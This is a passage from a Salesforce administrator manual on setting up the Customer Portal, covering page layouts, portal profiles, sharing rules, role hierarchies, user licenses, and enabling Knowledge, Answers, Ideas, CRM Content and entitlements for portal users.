• Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For
more information, see Customizing Your Customer Portal Tabs on page 1323.

See Also:
Customizing Your Customer Portal Fonts and Colors
Enabling Customer Portal Login and Settings
Designing Home Tab Page Layouts

Setup Tips and Considerations for Customer Portal Pages

Available in: Enterprise, Unlimited, and Developer Editions

Consider the following setup tips and general information about Salesforce.com Customer Portal pages:
Setting Up Cases

• When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case
Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts
for portal users.
• By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service
checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed.
• Do not select the Show Case Email Notification and Show Case Email Notification by default
checkboxes on case page layouts. These features only apply to Salesforce.com users.
• Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may
view comments intended only for Salesforce.com users.
• Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related
to their account.

1326
Customer Portal Setting Up Your Customer Portal

• Include the Contact Name lookup field on case page layouts so that users with “Edit” permissions on that field can
change a case's contact to another portal user in the same account.
• Do not select the Show solution information section, Show Contact Notification checkbox,
and Select Contact Notification checkbox by default checkboxes on close-case page layouts because
their functions only apply to Salesforce.com users.
• Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer
Portal. For more information, see Creating Record Types on page 1005.
• For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case
is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users,
add a rule entry using the criteria Current User: User Type contains Customer Portal and select
the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1047.
• Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you
create record types for cases that contain separate picklist values for them. For more information, see Managing
Record Types on page 1004.
• You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment
button from case page layouts:

1. Edit a case page layout with the enhanced page layout editor.
2. Click Layout Properties.
3. Deselect Show Submit & Add Attachment Button.
4. Click OK.
5. Click Save.

Cases

• Portal users need the “Read” permission on contacts to create cases.


• Portal users cannot edit the value of the Status picklist field on cases.
• Portal users can edit and delete attachments they have added to their cases, but portal users cannot edit and delete
attachments added to cases by Salesforce.com users.
• The Delete and Sharing buttons on case detail pages are not available to portal users.
• The Email Message List, Next, and Previous links are not available to Customer Portal users when they view an
email from the Email related list on case detail pages. The Email related list is only available in organizations where
Email-to-Case or On-Demand Email-to-Case is enabled.
• Optionally, you can create case auto-response rules to automatically respond to portal users when they create a case
on your portal. For more information, see Setting Up Auto-Response Rules on page 1055.
• Portal users can view, search, and create notes and attachments on cases.
• When creating a case, a portal user bypasses the Suggested Solutions page and is directed to their case if:

- No relevant suggested solutions match the case


- He or she creates the case by clicking Submit & Add Attachment

Note that suggested solutions are only available in organizations where they are enabled. For more information on
suggested solutions, see What are Suggested Solutions? on page 2325. For more information about how Customer
Portal users can self-close their own cases directly from suggested solutions, see Enabling Customer Portal Login
and Settings on page 1313.

1327
Customer Portal Setting Up Your Customer Portal

• If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users
so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1034.
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments
related list. Portal users can download feed attachments, but can't edit or delete them.

Solutions

• The Status picklist field on solutions is not available to portal users.


• The Status picklist field on a solution does not need to be set to Reviewed for a solution to be visible in the Customer
Portal; a solution is visible in the Customer Portal if the Visible in Self-Service Portal checkbox is selected
on a solution.
• If you enable solution categories for your organization, then solution categories are also available in your Customer
Portal. Uncategorized solutions do not display in the solution categories of your Customer Portal, but they do display
in your portal's search and list views.
• The top solutions feature is not available for your Customer Portal, but you can create links on your Customer Portal
home page to your organization's most relevant solutions.

Home Page

• Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that
when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.
For more information about defining home page components and assigning home page layouts, see Customizing
Home Tab Page Layouts on page 1040.
Note that Customer Portal users whose profile includes the “Is Single Sign-On Enabled” permission cannot change
their username via the Customer Portal Welcome component. For more information on Single Sign-On, see Company
Information Fields on page 398.
• When designing home page layouts for your Customer Portal, we recommend adding the following components:
Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area component that
includes your corporate branding in the wide column.
• Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list
views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page
1040.
• Custom component names do not display in the wide section of the home page in the Customer Portal.
• You can position the logout link anywhere on the header by using the HTML tag: “<a
href="/secur/logout.jsp">Logout</a>.” For more information on the header, see Enabling Customer
Portal Login and Settings on page 1313.
• We recommend not adding the following components to your Customer Portal home page layouts because they are
for Salesforce.com users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot,
Messages & Alerts, and Items To Approve.

Activities

• Portal users cannot be assigned to activities.


• Portal users can view completed tasks and past events marked Visible in Self-Service that are associated
with objects they have permission to view.

1328
Customer Portal Setting Up Your Customer Portal

Documents
Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to
portal users. For more information, see Managing Folders on page 1057.

Reports

• Portal users can run reports if their profile includes the “Run Reports” permission.
• Portal users can export reports if their profile includes the “Export Reports” permission.
• The Report Options section does not display on report results for portal users because portal users cannot customize
report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does
not display on report results.
• Report results for portal users only include links to objects the portal users have permission to access.
• Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects,
such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal
users. For more information, see Setting Your Organization-Wide Sharing Model on page 523.
• Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have
permission to view.
• By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders,
update the sharing settings on report folders to the All Internal Users group. For more information, see Managing
Folders on page 1057.

Custom Objects

• When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is
no longer available on the Customer Portal, and all of the user permissions for the custom object are automatically
removed from portal profiles. If you select the Available for Customer Portal checkbox on a custom object
again, you must update the user permissions for the custom object on portal profiles.
• Portal users can view, search, and create notes and attachments on custom objects.
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments
related list. Portal users can download feed attachments, but can't edit or delete them.

Articles
For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 2512.

Assets

• Portal users cannot edit assets.


• Portal users can only view assets associated with their accounts.
• Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail
pages, portal users can click the asset in the Asset field to view the asset.
• Portal users can view and search attachments on assets.
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments
related list. Portal users can download feed attachments, but can't edit or delete them.

Salesforce CRM Content

• Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their workspace
permission.

1329
Customer Portal Setting Up Your Customer Portal

• Portal users with the “View Content on Portals” user permission have view-only access to Salesforce CRM Content.
• Portal users with the “Create Workspaces” user permission can create and administer workspaces.

For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1331.

Answers
For setup information, see Enabling Answers in the Customer Portal on page 1334. When customizing your portal fonts
and colors, note that answers only supports the following changes:

• All tab styles


• The following page styles:

- Page Background
- Text
- Link
- Link Hover

Ideas

For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1335.

Accounts
Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail
page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page
1351.

Contacts
Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating
Customer Portal User Administration and Portal Super User on page 1351.
Only users with the “Portal Super User” permission can view the Contacts tab and edit and detail pages for contacts in
your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1351.

Entitlements

• For set up information, see Enabling Entitlement Management in the Customer Portal on page 1336.
• Add the “Read” permission on entitlements to custom portal profiles; assign the profiles to portal users who need
access to entitlements. See Viewing and Editing Profiles on page 465 and Configuring User Access to the Customer
Portal on page 1342.
• Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases.
See Customizing Page Layouts on page 1014.
• Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't
access information related to your internal support processes: Entitlement Process Start Time, Entitlement
Process End Time, Stopped, and Stopped Since. See Case Fields on page 2294.
• Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated
with their accounts and create cases from entitlements.
• Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators
can create cases automatically associated with the right entitlements. See Delegating Customer Portal User
Administration and Portal Super User on page 1351 and Customizing Page Layouts on page 1014.

1330
Customer Portal Setting Up Your Customer Portal

Service Contracts

• For set up information, see Enabling Entitlement Management in the Customer Portal on page 1336.
• Add the “Read” permission on service contracts to custom portal profiles; assign the profiles to portal users who need
access to service contracts. See Viewing and Editing Profiles on page 465 and Configuring User Access to the Customer
Portal on page 1342.
• Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service
contracts. See Customizing Your Customer Portal Tabs on page 1323.
• Contract line items don't display in the Customer Portal.

See Also:
Customizing Your Customer Portal Pages
Setup Tips and Considerations for Customer Portal Pages

Enabling Salesforce CRM Content in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”
To create and edit profiles: “Manage Users”
To manage Customer Portal users: “Edit Self-Service Users”
To create Salesforce CRM Content workspace permissions: “Manage Salesforce CRM Content” OR
“Manage Content Permissions”

To add users to a Salesforce CRM Content workspace: “Manage Salesforce CRM Content”
OR
Manage Workspace checked in your workspace permission
definition

Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted
to Customer Portal users:

• Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content
if they have the “View Content on Portals” user permission in their user profiles. They cannot view potentially sensitive
data such as usernames and download, version, and subscriber history. The content delivery feature is not available to portal
users.
• Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by
their workspace permission(s), including contributing content, moving and sharing content among workspaces, and deleting
content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.

1331
Customer Portal Setting Up Your Customer Portal

Enable Salesforce CRM Content for Non-Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have not purchased Salesforce CRM Content feature licenses for your portal users.
1. Update Customer Portal profiles:
a. Clone the Customer Portal User or Customer Portal Manager profile to include the “View Content in Portals” user
permission.
b. In the cloned profiles, change the tab visibility for the Workspaces, Content, and Subscriptions tabs from Tab Hidden
to Default On.
c. Assign the cloned profiles to your Customer Portal users.

2. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.

3. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.
4. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
5. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.

Enable Salesforce CRM Content for Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have purchased Salesforce CRM Content feature licenses for your portal users
1. Update Customer Portal profiles:
a. Optionally, clone the Customer Portal User and Customer Portal Manager profile to include the “Create Workspaces”
user permission if you want to allow portal users to create and administer new workspaces.
b. In your standard or cloned Customer Portal profiles, change the tab visibility for the Workspaces, Content, and
Subscriptions tabs from Tab Hidden to Default On.
c. Assign the cloned profiles to your Customer Portal users as needed.

2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user.
3. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.

4. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.

1332
Customer Portal Setting Up Your Customer Portal

5. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
6. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Setting Up Your Customer Portal
Enabling Your Customer Portal
Salesforce CRM Content Overview

Enabling Salesforce Knowledge in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: "Customize Application"
To create and edit profiles: "Manage Users"
To manage Customer Portal users: "Edit Self-Service Users"
To viewSalesforce Knowledge articles: "View articles”

You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can
view and rate articles but cannot create or edit articles.
After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following
steps to enable Salesforce Knowledge in your portals.

1. Update Customer Portal profiles:

a. Clone the Customer Portal User and/or Customer Portal Manager profiles to include the "View Articles" user permission.
b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On.

2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile.
3. Assign the cloned profiles to your Customer Portal users:

a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on
the contact detail page.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.

1333
Customer Portal Setting Up Your Customer Portal

4. Add the Articles tab to each Customer Portal.


5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
By default, Customer Portal users inherit their data category access from the account owner. For example, if the account
owner has a role of CEO and the CEO role has full access to all the data categories in a category group, then Customer
Portal users can also access all categories in that group. In some cases, you may want to limit which categories a Customer
Portal user can access.
6. If you have High-Volume Customer Portal users, make the categories these users need to access visible by default. Because
High-Volume Customer Portal users don't have roles, they can only access categorized articles if the associated data
categories have been made visible to all users regardless of role.
7. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an
article. If the Customer Portal channel is not selected, the article will not appear in the portal.
8. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure
that you assign the layout to the Customer Portal profiles.

See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology

Enabling Answers in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”
To create and edit profiles: “Manage Users”
To create an answers community: “Customize Application”

You can use the Customer Portal to provide your customers with access to an answers community.
To enable answers in your portal:

1. Set up your Customer Portal.


When customizing your portal fonts and colors, note that answers only supports the following changes:

• All tab styles


• The following page styles:

- Page Background
- Text
- Link

1334
Customer Portal Setting Up Your Customer Portal

- Link Hover

2. Set up answers, making sure that your answers community is configured to display in the Customer Portal.
3. Add the Answers tab to your Customer Portal.
4. Create Customer Portal users:

a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User.
b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down
menu.
c. Click Save.

5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner
has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers,
then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit
which categories a Customer Portal user can access.
6. If you have High-Volume Customer Portal users, make the data categories these users need to access visible by default.
Because High-Volume Customer Portal users don't have roles, they can only access categorized questions if the associated
data categories have been made visible to all users regardless of role.
7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1323.

See Also:
Answers Overview
What are Data Categories?

Enabling Salesforce CRM Ideas in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”
To create and edit profiles: “Manage Users”
To create a Salesforce CRM Ideas community: “Customize Application”

Salesforce CRM Ideas is available in the Customer Portal.


After you have set up your Customer Portal, follow the steps below to enable Salesforce CRM Ideas in your portal.

1335
Customer Portal Setting Up Your Customer Portal

1. Create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information,
see Creating and Editing Communities on page 1208.
2. Add the Salesforce CRM Ideas tab to your Customer Portal. For more information, see Customizing Your Customer
Portal Tabs on page 1323.
3. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1323.

Enabling Entitlement Management in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To set up and update the Customer Portal: "Customize Application"
To create and edit profiles: "Manage Users"
To manage Customer Portal users: "Edit Self-Service Users"

You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract
line items don't display in the Customer Portal.
After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement
management to your portals.

1. Update Customer Portal profiles:

a. Clone Customer Portal profiles to include the “Read” permission on entitlements or service contracts.
Note: High-Volume Customer Portal users can't access entitlement management.

b. Optionally, on the profiles of delegated Customer Portal user administrators, include the “Create” and “Delete”
permissions on entitlement contacts. This lets delegated portal user administrators update entitlement contacts.
c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On.

2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles.
3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases.
Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users
shouldn't access information related to your internal support processes: Entitlement Process Start Time,
Entitlement Process End Time, Stopped, and Stopped Since.

4. Optionally, customize related lists on accounts and contacts to add Entitlements.This lets delegated portal user administrators
create cases automatically associated with the right entitlements.
5. Add the Entitlements or Service Contract tabs to each Customer Portal.
6. Assign the cloned profiles to your Customer Portal users:

1336
Customer Portal Setting Up Your Customer Portal

a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.

See Also:
Setting Up Your Customer Portal
Entitlement Management Overview

Customer Portal Setup Limits


Available in: Enterprise, Unlimited, and Developer Editions

Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can
activate.
The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom
objects your Edition allows. See Salesforce.com Editions and Limits on page 1584.
Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact
salesforce.com.

See Also:
Setting Up Your Customer Portal

1337
Customer Portal About Customer Portal User Management

About Customer Portal User Management


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To create, edit, and delete page layouts: “Customize Application”
To set field-level security: “Customize Application”
To set sharing rules: “Manage Users”

Managing Customer Portal users is similar to managing regular Salesforce.com users. General user administration concepts
like profiles and page layouts still apply. Review the following advice for managing Customer Portal users:

• Customer Portal Profiles


• Customer Portal Sharing Rules
• Customer Portal Role Hierarchy
• Customer Portal User Licenses

Note: High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.

Customer Portal Profiles


The profiles you assign to Customer Portal users defines permissions for them to perform different functions within a Customer
Portal, such as whether they can view, create, edit, or delete cases and custom object records.
When you enable a Customer Portal, the following profiles are automatically created if you purchased user licenses for them:
• High Volume Customer Portal User
• Authenticated Website User
• Customer Portal User
• Customer Portal Manager
The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile
greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to High Volume
Customer Portal users). You can also clone and customize each profile to suit the various support requirements of specific
customers.
Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM
Content, reporting, and customer support functionality, such as cases and solutions.

Customer Portal Sharing Rules


After you enable a Customer Portal, the following groups and sharing rule category are created:

1338
Customer Portal About Customer Portal User Management

Groups and Sharing Rule Category Description


All Customer Portal Users group Contains all Customer Portal users, except for High Volume
Customer Portal users.
All Internal Users group Contains all Salesforce.com users in your organization.
Roles and Internal Subordinates sharing rule category Lets you create sharing rules with specific Salesforce.com users
in your organization by role plus all of the users in roles below
that role, excluding any Customer Portal and partner portal
roles.
Because High Volume Customer Portal users don't have roles,
they aren't included in this or any other sharing rule category.

You can use these groups and the sharing rule category to create sharing rules that:
• Grant Customer Portal or Salesforce.com users access to specific data (except for High Volume Customer Portal users and
Authenticated Website users, because you can't include them in any groups or sharing rules)
• Link Customer Portal users and Salesforce.com users
• Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license

Customer Portal Role Hierarchy


When you enable a Customer Portal on an account, the system creates a role hierarchy for the account's portal users. The
portal roles are unique for each account and include the account's name. For example, “Account A Customer User.” In your
organization's overall role hierarchy, this account-specific hierarchy is directly below the account owner.
The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones. They are:
• Executive—for contacts
• Manager—for contacts
• User—for contacts
• Person Account—for person accounts
As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person
accounts always have the Person Account role. Contacts with the High Volume Customer Portal User or Authenticated
Website User user license do not have a role.
Role hierarchies ensure that portal users from different accounts never see each other's data. Even though High Volume
Customer Portal users and Authenticated Website users don't have roles, they're restricted from seeing records that aren't
associated with their account or contact, and they can only see objects to which they've been granted access. You can, however,
create sharing rules so that users with the Customer Portal Manager user license from different accounts can see each other's
data.
Accounts with different portal types—Customer Portal and partner portal—have a separate role hierarchy for each portal.
Role names include the portal type with which they are associated. For example, if Account A has both a Customer Portal
and a partner portal, then roles for the Customer Portal are named “Account A Customer User” and roles for the partner
portal are named “Account A Partner User.”
To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users
as the data type, and add Role to your report columns. Note that you can't report on roles for High Volume Customer Portal
users and Authenticated Website users because they don't have roles. See Administrative Reports on page 2130.
Note: You cannot create a Customer Portal user associated with an account owned by a partner user.

1339
Customer Portal About Customer Portal User Management

Customer Portal User Licenses


User licenses restrict the functions that Customer Portal users can perform. You can assign the following user licenses to
Customer Portal users:
• High Volume Customer Portal User
• Authenticated Website User
• Customer Portal Manager Standard
• Customer Portal Manager Custom
These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer
Portal role hierarchy.
The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer
Portal role hierarchy:

User License Profiles Roles and Sharing


High Volume Customer Portal User High Volume Customer Portal User or High-volume Customer Portal users
Authenticated Website User profile, or don't have roles. See Granting High
and
a profile cloned and customized from one Volume Customer Portal Users Access
Authenticated Website User of these to Objects on page 1343.
(both user licenses are High-volume • Can access custom objects depending Can't share but can transfer records they
Customer Portal users) on profile settings. own or have access to; can't access
• Can't assign to person accounts. articles.
Can't transfer cases from non-High
Volume Customer Portal users to them.
Can't include in:
• Personal groups or public groups
• Sharing rules
• Account teams, sales teams, or case
teams
• Salesforce CRM Content workspaces

Customer Portal Manager Standard Customer Portal User profile or a profile Can only assign to either the Executive,
cloned and customized from the Manager, or User role.
Customer Portal User profile
Can view and edit data they directly own
• Can access custom objects depending or data owned by or shared with users
on profile settings. below them in the Customer Portal role
• Can receive the “Portal Super User” hierarchy; and they can view and edit
permission. cases where they are listed in the
• Can access Salesforce CRM Content Contact Name field.
depending on feature license and
profile settings. See Enabling Can have data shared to them just like
Salesforce CRM Content in the other Salesforce.com users.
Customer Portal on page 1331.

1340
Customer Portal About Customer Portal User Management

User License Profiles Roles and Sharing


Customer Portal Manager Custom Customer Portal Manager profile or a Can assign to either the Executive,
profile cloned and customized from the Manager, or User role.
Customer Portal Manager profile
Can view and edit data they directly own
• Can access custom objects depending or data owned by or shared with users
on profile settings. below them in the Customer Portal role
• Can access reports depending on hierarchy; and they can view and edit
profile settings. cases where they are listed in the
• Can access Salesforce CRM Content Contact Name field.
depending on feature license and
profile settings. See Enabling Can have data shared to them just like
Salesforce CRM Content in the other Salesforce.com users.
Customer Portal on page 1331.
• Can receive the “Portal Super User”
and “Delegated Portal User
Administrator” permissions.

Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which
you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple
roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the
same role.

See Also:
Working with Customer Portal Users
Setting Up Your Customer Portal
What is a Person Account?
Configuring Multilingual HTML Messages
Delegating Customer Portal User Administration and Portal Super User
Administrator setup guide: Salesforce Customer Portal Implementation Guide

1341
Customer Portal About Customer Portal User Management

Configuring User Access to the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Customer Portal: “Customize Application”
To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To set default sharing access: “Manage Users”
To set sharing rules: “Manage Users”
To enable Customer Portal users: “Edit Self-Service Users”
OR
“Manage Users”

When setting up a Salesforce.com Customer Portal for the first time, configure the following before enabling users to access
your portal:

1. Set up your portal as described in Setting Up Your Customer Portal.


2. Assign Customer Portal profiles to a portal:

a. Select the name of a portal from the Customer Portal Setup page.
b. Click Edit Profiles in the Assigned Profiles section.
c. Select the Active checkbox next to the profile you want to assign to the portal.

Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must
assign profiles to each portal you want users to access.
3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets,
and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see
Setting Your Organization-Wide Sharing Model on page 523.
Tip: To maintain Public organization-wide default behavior for Salesforce.com users, while ensuring that portal
users can only view and edit data related to their accounts, you can create self-referencing sharing rules of “All
Internal Users” to “All Internal Users”. For more information, see Setting Sharing Rules on page 536.

4. Optionally, set sharing rules for portal users (with the exception of High Volume Customer Portal users). See Setting
Sharing Rules on page 536.
Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update
those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records
owned by a Salesforce.com user are shared with a portal user.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a
specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.

1342
Customer Portal About Customer Portal User Management

You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and
Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this
wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by
all users except for portal users.

5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is
because portal users added to queues may be able to access records from accounts with which they are not related. For more
information, see Viewing and Editing Queues on page 503 and About Groups on page 495.
6. Optionally, add the Welcome component to home page layouts assigned to portal users.
The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips
and Considerations for Customer Portal Pages on page 1326.
7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings
on page 1313.

See Also:
About Customer Portal User Management
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Working with Customer Portal Users

Granting High Volume Customer Portal Users Access to Objects

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant High Volume Customer Portal users access to “Customize Application”
objects:

Note:

• High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.
• The High Volume Customer Portal User user license is currently available through a pilot program, while the
Authenticated Website User user license is generally available. For information on enabling High Volume Customer
Portal users, contact salesforce.com.

High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, High Volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations.
Specifically, High Volume Customer Portal users:

1343
Customer Portal About Customer Portal User Management

• Are contacts enabled to access a Customer Portal


• Are assigned to the High Volume Customer Portal User or Authenticated Website User user license
• Only share the records they own with Salesforce.com users in the High Volume Customer Portal Users share group. See
Sharing Records Owned by High Volume Customer Portal Users to Salesforce.com Users on page 1345.
• Can access records if any of the following conditions are met:

- The high-volume Customer Portal user owns the record


- The high-volume Customer Portal user can access the record's parent
- The organization-wide sharing setting for the object is Public Read Only or Public Read/Write
- The record or record's parent is an account or contact that the user can access via the sharing settings for high-volume
Customer Portal users
- The record or record's parent has a lookup field that points to an account or contact that the user can access via the
sharing settings for high-volume Customer Portal users

Limitations of High Volume Customer Portal users include:

• High-volume Customer Portal users can't manually share records they own or have access to, but they can transfer such
records.
• They can't access articles.
• You can't transfer cases from non High Volume Customer Portal users to High Volume Customer Portal users.
• High-volume Customer Portal users can't own accounts.
• You can't add case teams to cases owned by High Volume Customer Portal users. Also, if you transfer cases to High
Volume Customer Portal users, any case teams on those case are deleted.
• You can't include High Volume Customer Portal users in:

- Personal groups or public groups


- Sharing rules
- Account teams, sales teams, or case teams
- Salesforce CRM Content workspaces

To grant High Volume Customer Portal users access to objects:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


